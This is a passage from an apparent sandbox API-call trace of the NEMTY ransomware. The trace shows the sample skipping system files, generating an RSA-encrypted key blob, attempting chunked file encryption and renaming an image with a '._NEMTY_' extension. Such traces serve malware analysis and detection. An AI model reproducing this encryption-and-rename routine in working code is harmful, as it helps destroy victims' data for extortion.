returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="AUTOEXEC.BAT") returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="ntuser.dat") returned -1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="desktop.ini") returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="CONFIG.SYS") returned 1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="RECYCLER") returned -1 [0116.539] lstrcmpiW (lpString1="flower_s.png", lpString2="BOOTSECT.BAK") returned 1 [0116.540] lstrcmpiW (lpString1="flower_s.png", lpString2="bootmgr") returned 1 [0116.540] lstrcmpiW (lpString1="flower_s.png", lpString2="programdata") returned -1 [0116.540] lstrcmpiW (lpString1="flower_s.png", lpString2="appdata") returned 1 [0116.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_s.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_s.png", lpUsedDefaultChar=0x0) returned 12 [0116.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_s.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_s.png", lpUsedDefaultChar=0x0) returned 12 [0116.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_s.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_s.png", lpUsedDefaultChar=0x0) returned 12 [0116.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0116.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_s.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_s.png", lpUsedDefaultChar=0x0) returned 12 [0116.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0116.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0116.540] Sleep (dwMilliseconds=0x5) [0116.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf91d0550, dwHighDateTime=0x1d561e7)) [0116.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf91d0550, dwHighDateTime=0x1d561e7)) [0116.546] GetLastError () returned 0x5 [0116.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0116.546] GetLastError () returned 0x5 [0116.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0116.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.546] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0116.546] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0116.546] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0116.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0116.546] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="KleN/zA9P6GD2rOX4pG/8C65n6H6JyNuSvErf0HBsB+O+G+RvCN3yE7QmlQrexba\r\nKHwNJzCi4k1p/nrHgvvW0gDlf7T4/VMgEFBUSo5mLiKQgSTvE3+Lm4yZq9JhY2c/\r\nbMxFp31OLP6Oh8tEAjLdp0z6hmhMc9e1GZg/nd/1sDiv2XjxmCVxOi/BERYkts9s\r\n22JTpEQ2bW7ARtPDgyyI9E7/Jw2dvK4zoM3c/DbYT/m0LOkD+xPOx5GD3fgSDmWz\r\nw5hTFotnTtRcYGa5UxC5vNqR1Ku52wgMkyz4ee9wOcpa/dIvXS8WpIHEv9wXcyvC\r\nUyVxV1Qoix3OzyXrDUHiug==\r\n", pcchString=0x653e91c) returned 1 [0116.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0116.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0116.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0116.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0116.546] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.547] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0116.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0116.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0116.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0116.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0116.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0116.652] CloseHandle (hObject=0xffffffff) returned 0 [0116.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0116.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0116.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0116.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0116.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0116.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0116.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0116.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_s.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_s.png._nemty_kgobjgd_")) returned 0 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0116.653] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a05840, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a05840, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287e74ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x827b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="flower_settings.png", cAlternateFileName="")) returned 1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2=".") returned 1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="..") returned 1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="...") returned 1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="windows") returned -1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="$RECYCLE.BIN") returned 1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="rsa") returned -1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="NTDETECT.COM") returned -1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="ntldr") returned -1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="MSDOS.SYS") returned -1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="IO.SYS") returned -1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="boot.ini") returned 1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="boot.ini") returned 1 [0116.653] lstrcmpiW (lpString1="flower_settings.png", lpString2="AUTOEXEC.BAT") returned 1 [0116.654] lstrcmpiW (lpString1="flower_settings.png", lpString2="ntuser.dat") returned -1 [0116.654] lstrcmpiW (lpString1="flower_settings.png", lpString2="desktop.ini") returned 1 [0116.654] lstrcmpiW (lpString1="flower_settings.png", lpString2="CONFIG.SYS") returned 1 [0116.654] lstrcmpiW (lpString1="flower_settings.png", lpString2="RECYCLER") returned -1 [0116.654] lstrcmpiW (lpString1="flower_settings.png", lpString2="BOOTSECT.BAK") returned 1 [0116.654] lstrcmpiW (lpString1="flower_settings.png", lpString2="bootmgr") returned 1 [0116.654] lstrcmpiW (lpString1="flower_settings.png", lpString2="programdata") returned -1 [0116.654] lstrcmpiW (lpString1="flower_settings.png", lpString2="appdata") returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0116.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_settings.png", lpUsedDefaultChar=0x0) returned 19 [0116.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0116.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_settings.png", lpUsedDefaultChar=0x0) returned 19 [0116.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0116.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0116.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0116.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0116.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0116.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flower_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flower_settings.png", lpUsedDefaultChar=0x0) returned 19 [0116.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 